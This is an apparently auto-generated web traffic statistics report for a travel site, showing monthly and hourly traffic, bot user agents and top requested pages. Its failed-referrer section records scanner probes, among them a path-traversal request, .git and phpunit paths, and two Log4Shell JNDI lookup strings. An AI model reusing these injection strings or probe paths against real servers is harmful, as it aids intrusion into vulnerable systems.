Web Server Statistics for outgoing.kaizentravel.az

Program started on Thu, Mar 31 2022 at 4:22 PM.
Analyzed requests from Thu, Mar 29 2018 at 7:26 PM to Thu, Mar 31 2022 at 4:00 PM (1462.86 days).

General Summary

(Go To: Top | General Summary | Monthly Report | Daily Summary | Hourly Summary | Domain Report | Organization Report | Redirected Referrer Report | Failed Referrer Report | Referring Site Report | Browser Report | Browser Summary | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Request Report)

Figures in parentheses refer to the 7-day period ending Mar 31 2022 at 4:22 PM.

Successful requests: 40,763 (129)
Average successful requests per day: 27 (18)
Successful requests for pages: 6,861 (31)
Average successful requests for pages per day: 4 (4)
Failed requests: 1,253 (0)
Redirected requests: 16 (0)
Distinct files requested: 1,016 (1,178)
Distinct hosts served: 5,607 (5,816)
Data transferred: 1.51 gigabytes (14.92 megabytes)
Average data transferred per day: 1.06 megabytes (2.13 megabytes)

Monthly Report

(Go To: Top | General Summary | Monthly Report | Daily Summary | Hourly Summary | Domain Report | Organization Report | Redirected Referrer Report | Failed Referrer Report | Referring Site Report | Browser Report | Browser Summary | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Request Report)

Each unit (+) represents 15 requests for pages or part thereof.

month#reqs#pages 
Mar 201884+
Apr 20187945+++
May 20186229++
Jun 201812160++++
Jul 2018535190+++++++++++++
Aug 201818328++
Sep 201832657++++
Oct 201826355++++
Nov 201820952++++
Dec 201824752++++
    
Jan 201923065+++++
Feb 201915560++++
Mar 201919783++++++
Apr 201914969+++++
May 20191093195+++++++++++++
Jun 2019679149++++++++++
Jul 2019590105+++++++
Aug 201957494+++++++
Sep 201958190++++++
Oct 201963095+++++++
Nov 201962685++++++
Dec 20191178105+++++++
    
Jan 202075872+++++
Feb 202092195+++++++
Mar 20201944110++++++++
Apr 2020105987++++++
May 202065675+++++
Jun 202090784++++++
Jul 202072960++++
Aug 20202222200++++++++++++++
Sep 20202966163+++++++++++
Oct 20202669107++++++++
Nov 2020869119++++++++
Dec 202059784++++++
    
Jan 202127792+++++++
Feb 2021271111++++++++
Mar 2021700107++++++++
Apr 20211293140++++++++++
May 20211791322++++++++++++++++++++++
Jun 20211647457+++++++++++++++++++++++++++++++
Jul 20212020529++++++++++++++++++++++++++++++++++++
Aug 20211868468++++++++++++++++++++++++++++++++
Sep 20211327411++++++++++++++++++++++++++++
Oct 2021352133+++++++++
Nov 2021305117++++++++
Dec 20211109360++++++++++++++++++++++++
    
Jan 2022447112++++++++
Feb 20221363276+++++++++++++++++++
Mar 2022981203++++++++++++++

Busiest month: Jul 2021 (529 requests for pages).

Daily Summary

(Go To: Top | General Summary | Monthly Report | Daily Summary | Hourly Summary | Domain Report | Organization Report | Redirected Referrer Report | Failed Referrer Report | Referring Site Report | Browser Report | Browser Summary | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Request Report)

Each unit (+) represents 30 requests for pages or part thereof.

day#reqs#pages 
Sun5537903+++++++++++++++++++++++++++++++
Mon5448902+++++++++++++++++++++++++++++++
Tue59091069++++++++++++++++++++++++++++++++++++
Wed66011143+++++++++++++++++++++++++++++++++++++++
Thu5445785+++++++++++++++++++++++++++
Fri57691023+++++++++++++++++++++++++++++++++++
Sat60541036+++++++++++++++++++++++++++++++++++

Hourly Summary

(Go To: Top | General Summary | Monthly Report | Daily Summary | Hourly Summary | Domain Report | Organization Report | Redirected Referrer Report | Failed Referrer Report | Referring Site Report | Browser Report | Browser Summary | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Request Report)

Each unit (+) represents 10 requests for pages or part thereof.

hour#reqs#pages 
01588195++++++++++++++++++++
11628247+++++++++++++++++++++++++
21843337++++++++++++++++++++++++++++++++++
31693275++++++++++++++++++++++++++++
41528282+++++++++++++++++++++++++++++
51522230+++++++++++++++++++++++
61561221+++++++++++++++++++++++
71721254++++++++++++++++++++++++++
82045333++++++++++++++++++++++++++++++++++
91775316++++++++++++++++++++++++++++++++
101678250+++++++++++++++++++++++++
111573246+++++++++++++++++++++++++
121577264+++++++++++++++++++++++++++
131853325+++++++++++++++++++++++++++++++++
141650335++++++++++++++++++++++++++++++++++
151647364+++++++++++++++++++++++++++++++++++++
161513292++++++++++++++++++++++++++++++
171821325+++++++++++++++++++++++++++++++++
181578249+++++++++++++++++++++++++
191508235++++++++++++++++++++++++
201826329+++++++++++++++++++++++++++++++++
211990291++++++++++++++++++++++++++++++
221672234++++++++++++++++++++++++
231973432++++++++++++++++++++++++++++++++++++++++++++

Domain Report

(Go To: Top | General Summary | Monthly Report | Daily Summary | Hourly Summary | Domain Report | Organization Report | Redirected Referrer Report | Failed Referrer Report | Referring Site Report | Browser Report | Browser Summary | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Request Report)

Listing domains, sorted by the amount of traffic.

#reqs%bytesdomain
40763100%[unresolved numerical addresses]

Organization Report

(Go To: Top | General Summary | Monthly Report | Daily Summary | Hourly Summary | Domain Report | Organization Report | Redirected Referrer Report | Failed Referrer Report | Referring Site Report | Browser Report | Browser Summary | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Request Report)

Listing the top 20 organizations by the number of requests, sorted by the number of requests.

#reqs%bytesorganization
2038420.20%114
729336.43%54
2692 5.06%157.55
1707 5.95%207.46
1426 4.18%40
840 1.13%81.209
602 1.02%144.76
492 0.74%159.138
455 0.02%66.249
424 2.05%13
269 0.41%167.114
238 1.17%209.17
215 138.246
201 4.10%51
182 0.40%5
159 0.39%3
134 0.68%69
116 2.32%37
108 0.50%34
102 0.51%31
272412.72%[not listed: 335 organizations]

Redirected Referrer Report

(Go To: Top | General Summary | Monthly Report | Daily Summary | Hourly Summary | Domain Report | Organization Report | Redirected Referrer Report | Failed Referrer Report | Referring Site Report | Browser Report | Browser Summary | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Request Report)

Listing referring URLs, sorted by the number of redirected requests.

#reqsURL
16https://outgoing.kaizentravel.az/administrator/index.php

Failed Referrer Report

(Go To: Top | General Summary | Monthly Report | Daily Summary | Hourly Summary | Domain Report | Organization Report | Redirected Referrer Report | Failed Referrer Report | Referring Site Report | Browser Report | Browser Summary | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Request Report)

Listing referring URLs, sorted by the number of failed requests.

#reqsURL
20https://outgoing.kaizentravel.az/templates/gwtc1a2p2/css/template.css
8http://www.google.com.hk/
5https://outgoing.kaizentravel.az/Kaizen
2https://outgoing.kaizentravel.az/.git/HEAD
2https://www.outgoing.kaizentravel.az/admin/assets/plugins/jquery-file-upload/server/php/index.php
2https://outgoing.kaizentravel.az/admin/assets/plugins/jquery-file-upload/server/php/index.php
2https://www.outgoing.kaizentravel.az/.git/HEAD
2https://www.outgoing.kaizentravel.az/assets/plugins/jquery.filer/php/readme.txt
2https://www.outgoing.kaizentravel.az/vpn/../vpns/cfg/smb.conf
2https://outgoing.kaizentravel.az/assets/plugins/jquery.filer/php/readme.txt
2https://outgoing.kaizentravel.az/dompdf/dompdf.php
2https://outgoing.kaizentravel.az/vpn/../vpns/cfg/smb.conf
2https://outgoing.kaizentravel.az/sites/all/libraries/dompdf/dompdf.php
2https://www.outgoing.kaizentravel.az/html/gdpr/en.inc.php
2https://www.outgoing.kaizentravel.az/vendor/phpunit/phpunit/phpunit.xml
2https://www.outgoing.kaizentravel.az/dompdf/dompdf.php
2https://outgoing.kaizentravel.az/html/gdpr/en.inc.php
2https://outgoing.kaizentravel.az/vendor/phpunit/phpunit/phpunit.xml
1https://www.outgoing.kaizentravel.az/wp-login.php
1https://www.outgoing.kaizentravel.az/sites/all/libraries/dompdf/dompdf.php
1https://outgoing.kaizentravel.az/
1${jndi:ldap://divd-f3849454ba60324f9b6bb0685e04af2d_${date:YYYYMMddHHmmss}_https_Referer.log4jdns.x00.it/}
1${jndi:ldap://divd-75cb9454b76de9e729304bc80e005492_${date:YYYYMMddHHmmss}_https_Referer.log4jdns.x00.it/}

Referring Site Report

(Go To: Top | General Summary | Monthly Report | Daily Summary | Hourly Summary | Domain Report | Organization Report | Redirected Referrer Report | Failed Referrer Report | Referring Site Report | Browser Report | Browser Summary | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Request Report)

Listing referring sites, sorted by the number of requests.

#reqssite
518https://outgoing.kaizentravel.az/
34https://www.google.com/
17http://www.google.com.hk/
14https://www.outgoing.kaizentravel.az/
13https://google.com/
10http://baidu.com/
2http://lab.onsec.ru/
1https://kaizentravel.az:2083/

Browser Report

(Go To: Top | General Summary | Monthly Report | Daily Summary | Hourly Summary | Domain Report | Organization Report | Redirected Referrer Report | Failed Referrer Report | Referring Site Report | Browser Report | Browser Summary | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Request Report)

Listing the top 40 browsers by the number of requests for pages, sorted by the number of requests for pages.

#reqs#pagesbrowser
62382340Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)
76441505Mozilla/5.0 (Linux; Android 7.0;) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; PetalBot;+https://webmaster.petalsearch.com/site/petalbot)
1264349Mozilla/5.0 (compatible; MJ12bot/v1.4.8; http://mj12bot.com/)
326326facebookexternalhit/1.1 (+http://www.facebook.com/externalhit_uatext.php)
840249netEstate NE Crawler (+http://www.website-datenbank.de/)
238238Mozilla/5.0 (compatible; Nimbostratus-Bot/v1.3.2; http://cloudsystemnetworks.com)
603219MauiBot (crawler.feedback+dc@gmail.com)
5870163Mozilla/5.0 (compatible; AhrefsBot/6.1; +http://ahrefs.com/robot/)
159151Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36
7470146Mozilla/5.0 (Linux; Android 7.0;) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; PetalBot;+https://aspiegel.com/petalbot)
104104Mozilla/5.0 (compatible; NetcraftSurveyAgent/1.0; +info@netcraft.com)
9999Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.85 Safari/537.36
7171Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:47.0) Gecko/20100101 Firefox/47.0
6666Go-http-client/1.1
5959Expanse, a Palo Alto Networks company, searches across the global IPv4 space multiple times per day to identify customers' presences on the Internet. If you would like to be excluded from our scans, please send IP addresses/domains to: scaninfo@paloaltonetworks.com
5252Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36
212550Mozilla/5.0 (Linux; Android 7.0;) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; PetalBot;+http://aspiegel.com/petalbot)
4747NetSystemsResearch studies the availability of various services across the internet. Our website is netsystemsresearch.com
6847Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:58.0) Gecko/20100101 Firefox/58.0
4141Expanse indexes the network perimeters of our customers. If you have any questions or concerns, please reach out to: scaninfo@expanseinc.com
11638Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.146 Safari/537.36
4029Mozilla/5.0 (compatible; SurdotlyBot/1.0; +http://sur.ly/bot.html)
117929Mozilla/5.0 (Linux; Android 7.0;) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; AspiegelBot)
2727Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
2020Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36
2020Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)
1717Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.90 Safari/537.36
1816Mozilla/5.0 (compatible; Linux x86_64; Mail.RU_Bot/Favicons/2.0; +https://help.mail.ru/webmaster/indexing/robots)
1212Mozilla/5.0 (Linux; U; Android 8.1.0; zh-CN; EML-AL00 Build/HUAWEIEML-AL00) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/57.0.2987.108 baidu.sogo.uc.UCBrowser/11.9.4.974 UWS/2.13.1.48 Mobile Safari/537.36 AliApp(DingTalk/4.5.11) com.alibaba.android.rimet/10487439 Channel/227200 language/zh-CN
32612Mozilla/5.0(Linux;Android 5.1.1;OPPO A33 Build/LMY47V;wv) AppleWebKit/537.36(KHTML,link Gecko) Version/4.0 Chrome/43.0.2357.121 Mobile Safari/537.36 LieBaoFast/4.51.3
9110CCBot/2.0 (https://commoncrawl.org/faq/)
99Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36
1078Mozilla/5.0(Linux;Android 5.1.1;OPPO A33 Build/LMY47V;wv) AppleWebKit/537.36(KHTML,link Gecko) Version/4.0 Chrome/43.0.2357.121 Mobile Safari/537.36
3118Mozilla/5.0(Linux;U;Android 5.1.1;zh-CN;OPPO A33 Build/LMY47V) AppleWebKit/537.36(KHTML,like Gecko) Version/4.0 Chrome/40.0.2214.89 UCBrowser/11.7.0.953 Mobile Safari/537.36
77Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
3437Mozilla/5.0(Linux;Android 5.1.1;OPPO A33 Build/LMY47V;wv) AppleWebKit/537.36(KHTML,link Gecko) Version/4.0 Chrome/42.0.2311.138 Mobile Safari/537.36 Mb2345Browser/9.0
66Mozilla/5.0 (Linux; Android 7.0; SM-G930V Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.125 Mobile Safari/537.36
66Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
96webprosbot/2.0 (+mailto:abuse-6337@webpros.com)
3275Mozilla/5.0 (Linux; Android 7.0; FRD-AL00 Build/HUAWEIFRD-AL00; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/53.0.2785.49 Mobile MQQBrowser/6.2 TBS/043602 Safari/537.36 MicroMessenger/6.5.16.1120 NetType/WIFI Language/zh_CN
3434203[not listed: 295 browsers]

Browser Summary

(Go To: Top | General Summary | Monthly Report | Daily Summary | Hourly Summary | Domain Report | Organization Report | Redirected Referrer Report | Failed Referrer Report | Referring Site Report | Browser Report | Browser Summary | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Request Report)

Listing the top 20 browsers by the number of requests for pages, sorted by the number of requests for pages.

##reqs#pagesbrowser
1152283265Netscape (compatible)
2213322312Safari
 211552284  Safari/537
 367  Safari/604
 1056  Safari/9537
 236  Safari/605
 55  Safari/534
 33  Safari/601
 11  Safari/535
3326326facebookexternalhit
 326326  facebookexternalhit/1
4840249netEstate NE Crawler (+http:
 840249  netEstate NE Crawler (+http://www
5603219MauiBot (crawler.feedback+dc@gmail.com)
6230163Firefox
 7171  Firefox/47
 6947  Firefox/58
 2727  Firefox/78
 75  Firefox/72
 22  Firefox/60
 22  Firefox/66
 22  Firefox/3
 11  Firefox/16
 21  Firefox/35
 11  Firefox/91
76666Go-http-client
 6666  Go-http-client/1
85959Expanse, a Palo Alto Networks company, searches across the global IPv4 space multiple times per day to identify customers' presences on the Internet. If you would like to be excluded from our scans, please send IP addresses
 5959  Expanse, a Palo Alto Networks company, searches across the global IPv4 space multiple times per day to identify customers' presences on the Internet. If you would like to be excluded from our scans, please send IP addresses/domains
94747NetSystemsResearch studies the availability of various services across the internet. Our website is netsystemsresearch.com
104141Expanse indexes the network perimeters of our customers. If you have any questions or concerns, please reach out to: scaninfo@expanseinc.com
111414python-requests
 1414  python-requests/2
121310webprosbot
 1310  webprosbot/2
139110CCBot
 9110  CCBot/2
1477curl
 77  curl/7
1574Mozilla
1644httpx - Open-source project (github.com
 44  httpx - Open-source project (github.com/projectdiscovery/httpx)
17364Opera
 354  Opera/9
1822IDBTE4M CODE87
1922Dalvik
 22  Dalvik/2
2022serpstatbot
 22  serpstatbot/1
 85911[not listed: 13 browsers]

Operating System Report

(Go To: Top | General Summary | Monthly Report | Daily Summary | Hourly Summary | Domain Report | Organization Report | Redirected Referrer Report | Failed Referrer Report | Referring Site Report | Browser Report | Browser Summary | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Request Report)

Listing operating systems, sorted by the number of requests for pages.

##reqs#pagesOS
1108413687OS unknown
2203981969Unix
 203971968  Linux
 11  BSD
37361649Known robots
4780398Windows
 586260  Windows NT
 184136  Unknown Windows
 102  Windows XP
5429114Macintosh

Status Code Report

(Go To: Top | General Summary | Monthly Report | Daily Summary | Hourly Summary | Domain Report | Organization Report | Redirected Referrer Report | Failed Referrer Report | Referring Site Report | Browser Report | Browser Summary | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Request Report)

Listing status codes, sorted numerically.

#reqsstatus code
40763200 OK
16303 See other document
12403 Access forbidden
1241404 Document not found

File Size Report

(Go To: Top | General Summary | Monthly Report | Daily Summary | Hourly Summary | Domain Report | Organization Report | Redirected Referrer Report | Failed Referrer Report | Referring Site Report | Browser Report | Browser Summary | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Request Report)

size#reqs%bytes
0247 
1B- 10B0 
11B- 100B310 
101B- 1kB5557 0.29%
1kB- 10kB13730 3.27%
10kB-100kB1906054.24%
100kB- 1MB176033.96%
1MB- 10MB99 8.24%

File Type Report

(Go To: Top | General Summary | Monthly Report | Daily Summary | Hourly Summary | Domain Report | Organization Report | Redirected Referrer Report | Failed Referrer Report | Referring Site Report | Browser Report | Browser Summary | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Request Report)

Listing extensions with at least 0.1% of the traffic, sorted by the amount of traffic.

#reqs%bytesextension
2676441.60%[no extension]
77529.80%.png [PNG graphics]
686123.20%[directories]
475 4.61%.jpg [JPEG graphics]
5486 0.29%.txt [Plain text]
175 0.25%.js [JavaScript code]
60 0.14%.php [PHP]
167 0.11%[not listed: 5 extensions]

Directory Report

(Go To: Top | General Summary | Monthly Report | Daily Summary | Hourly Summary | Domain Report | Organization Report | Redirected Referrer Report | Failed Referrer Report | Referring Site Report | Browser Report | Browser Summary | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Request Report)

Listing directories with at least 0.01% of the traffic, sorted by the amount of traffic.

#reqs%bytesdirectory
2901542.07%/index.php/
113634.30%/images/
1011723.16%[root directory]
106 0.16%/modules/
47 0.11%/media/
85 0.10%/templates/
54 0.06%/plugins/
170 0.04%/src/
33 0.01%[not listed: 1 directory]

Request Report

(Go To: Top | General Summary | Monthly Report | Daily Summary | Hourly Summary | Domain Report | Organization Report | Redirected Referrer Report | Failed Referrer Report | Referring Site Report | Browser Report | Browser Summary | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Request Report)

Listing files with at least 20 requests, sorted by the number of requests.

#reqs%byteslast timefile
8078 1.65%Mar/31/22 3:41 PM/index.php/component/mailto
97 0.02%Jan/29/22 11:38 AM  /index.php/component/mailto?tmpl=component&template=gwtc1a2p2&link=548514297dfb30bc85636a6677ec425d4c6120fd
96 0.02%Feb/ 6/22 12:23 PM  /index.php/component/mailto?tmpl=component&template=gwtc1a2p2&link=97c05f84a70f44b7df8a03e2be8836078d67d2dc
95 0.02%Mar/28/22 2:17 PM  /index.php/component/mailto?tmpl=component&template=gwtc1a2p2&link=4efbac8c7ab63b15ccd413a9a1dbc14926f13acb
94 0.02%Mar/ 9/22 8:47 PM  /index.php/component/mailto?tmpl=component&template=gwtc1a2p2&link=81ba2dbd2c6d2c412341efaeee83fdeecf05e39e
93 0.02%Mar/30/22 4:51 PM  /index.php/component/mailto?tmpl=component&template=gwtc1a2p2&link=d9506bcc26759cf69b28667f5d40ac33fb66efb8
93 0.02%Mar/24/22 5:12 AM  /index.php/component/mailto?tmpl=component&template=gwtc1a2p2&link=3a819057d4a94d58d69d7020394942fb7307f2da
92 0.02%Mar/27/22 8:40 PM  /index.php/component/mailto?tmpl=component&template=gwtc1a2p2&link=459acfe5e6c960feb5ba32fab687fa038a4ae115
91 0.02%Dec/31/21 1:37 PM  /index.php/component/mailto?tmpl=component&template=gwtc1a2p2&link=ea20b61670c7ebe0e2f67dd9c3ba8f145e460f65
91 0.02%Dec/ 7/21 7:57 AM  /index.php/component/mailto?tmpl=component&template=gwtc1a2p2&link=4f4705062f5ed6b6bf678d3ddc945713a033d112
91 0.02%Dec/28/21 3:31 AM  /index.php/component/mailto?tmpl=component&template=gwtc1a2p2&link=d210c1e83fb8f64dace7bf842535eb754ae15632
91 0.02%Jan/20/22 7:13 PM  /index.php/component/mailto?tmpl=component&template=gwtc1a2p2&link=61ccaf1d301ba9f65cf258ef97ba79aa87f423c4
88 0.02%Feb/ 8/22 2:54 AM  /index.php/component/mailto?tmpl=component&template=gwtc1a2p2&link=0204126ac2bdb7d0af0140922480e9183126003c
88 0.02%Mar/27/22 8:51 PM  /index.php/component/mailto?tmpl=component&template=gwtc1a2p2&link=6b82c454e5973bab143197e6b209a1e65fc7558c
88 0.02%Mar/24/22 4:17 PM  /index.php/component/mailto?tmpl=component&template=gwtc1a2p2&link=8cc83746f9dfee91a40019cab277db9c5e7e512e
87 0.02%Mar/ 7/22 1:14 AM  /index.php/component/mailto?tmpl=component&template=gwtc1a2p2&link=ae1011e49edd05d1dc597854f7833637151cf726
87 0.02%Mar/31/22 3:41 PM  /index.php/component/mailto?tmpl=component&template=gwtc1a2p2&link=0dcfbc721a1a59c8388c94f3303f5bb3031b84f7
87 0.02%Mar/29/22 9:10 AM  /index.php/component/mailto?tmpl=component&template=gwtc1a2p2&link=60bd84809e7716f5c9937c989a37adad624a4e0a
87 0.02%Feb/20/22 3:54 AM  /index.php/component/mailto?tmpl=component&template=gwtc1a2p2&link=33d0c39886b562a2695c42656cd7471aad323167
86 0.02%Dec/ 7/21 9:27 AM  /index.php/component/mailto?tmpl=component&template=gwtc1a2p2&link=8068fc4f7d624069b65abe8bc593bcd2729c34f7
85 0.02%Jan/17/22 5:40 PM  /index.php/component/mailto?tmpl=component&template=gwtc1a2p2&link=bbbe5ce78767c61c60e4684f9d24c703cfff57f3
85 0.02%Feb/ 9/22 3:44 PM  /index.php/component/mailto?tmpl=component&template=gwtc1a2p2&link=b4bd718bd51d99fd9aec800c31b52d183919250d
85 0.02%Mar/26/22 9:22 PM  /index.php/component/mailto?tmpl=component&template=gwtc1a2p2&link=de91bad3b32bf1a9ac43e12c0f3f8ced5b298029
85 0.02%Mar/27/22 7:05 AM  /index.php/component/mailto?tmpl=component&template=gwtc1a2p2&link=c4e3ef206626f10397787776ea8d1292ea314c9f
85 0.02%Feb/20/22 9:35 AM  /index.php/component/mailto?tmpl=component&template=gwtc1a2p2&link=8b6f6efd7f12499fdb1e469faf35fb5bc747a023
84 0.02%Dec/ 6/21 4:42 AM  /index.php/component/mailto?tmpl=component&template=gwtc1a2p2&link=182698c2473a1ba0533eab3c3eebb2bf88be037d
84 0.02%Mar/12/22 2:38 PM  /index.php/component/mailto?tmpl=component&template=gwtc1a2p2&link=45a989d8e3d23b08ef522eeec984b3d642536b5c
84 0.02%Sep/ 7/21 3:01 PM  /index.php/component/mailto?tmpl=component&template=gwtc1a2p2&link=a3fadc6df5db1977e283af3ec7cdd895c89c7af9
84 0.02%Mar/25/22 8:51 PM  /index.php/component/mailto?tmpl=component&template=gwtc1a2p2&link=27017e28f78285bb93a6c2eab8c9d7126bfd69c0
84 0.02%Sep/ 4/21 7:09 AM  /index.php/component/mailto?tmpl=component&template=gwtc1a2p2&link=ddb3538be1377f45402dbe0507b17d8dcbf5a0c7
83 0.02%Mar/ 5/22 8:46 PM  /index.php/component/mailto?tmpl=component&template=gwtc1a2p2&link=983d7f55200cecb602be4f93bd150661c8b275f5
83 0.02%Feb/19/22 4:09 AM  /index.php/component/mailto?tmpl=component&template=gwtc1a2p2&link=59007d2e081f324fd6939987d1aa17aa8ecb04d8
83 0.02%Feb/22/22 6:57 PM  /index.php/component/mailto?tmpl=component&template=gwtc1a2p2&link=105e62425d8abb4ad4d51b6a2ffb88914bc974d1
82 0.02%Mar/30/22 4:09 PM  /index.php/component/mailto?tmpl=component&template=gwtc1a2p2&link=501a7ad2bc4085fa24232e1db8abf5de40952d88
82 0.02%Mar/19/22 8:47 PM  /index.php/component/mailto?tmpl=component&template=gwtc1a2p2&link=b13190ce495e36e4e87c597c2f785b62d1b9deed
82 0.02%Sep/ 9/21 4:43 PM  /index.php/component/mailto?tmpl=component&template=gwtc1a2p2&link=a350e67b2c5e8634492c88f6b90d555ba50477d0
82 0.02%Mar/12/22 2:36 AM  /index.php/component/mailto?tmpl=component&template=gwtc1a2p2&link=4a03b46b2a6f091a35f6c4206b1c0eb5d1e61b4c
82 0.02%Mar/24/22 2:38 PM  /index.php/component/mailto?tmpl=component&template=gwtc1a2p2&link=3a412042912cc3a108095441e8826e80a9e8df0f
82 0.02%Mar/21/22 12:38 PM  /index.php/component/mailto?tmpl=component&template=gwtc1a2p2&link=90375d44b86d77e1c52eaa7bd7aff11bf7833079
81 0.02%Feb/10/22 2:18 AM  /index.php/component/mailto?tmpl=component&template=gwtc1a2p2&link=b82a9f07b4bc1f96538991617cdefe4c60a2e9c0
81 0.02%Dec/ 8/21 12:42 PM  /index.php/component/mailto?tmpl=component&template=gwtc1a2p2&link=d96d2337bf83c0f9f014a90535c9eced35ee71f8
81 0.02%Jan/13/22 8:42 PM  /index.php/component/mailto?tmpl=component&template=gwtc1a2p2&link=e21a5df642b7a5a7b8fa6a7a0c0575f7c54d3036
81 0.02%Sep/ 5/21 4:33 PM  /index.php/component/mailto?tmpl=component&template=gwtc1a2p2&link=4b31d28afef4686bb4ee19b239af3d68ef747a90
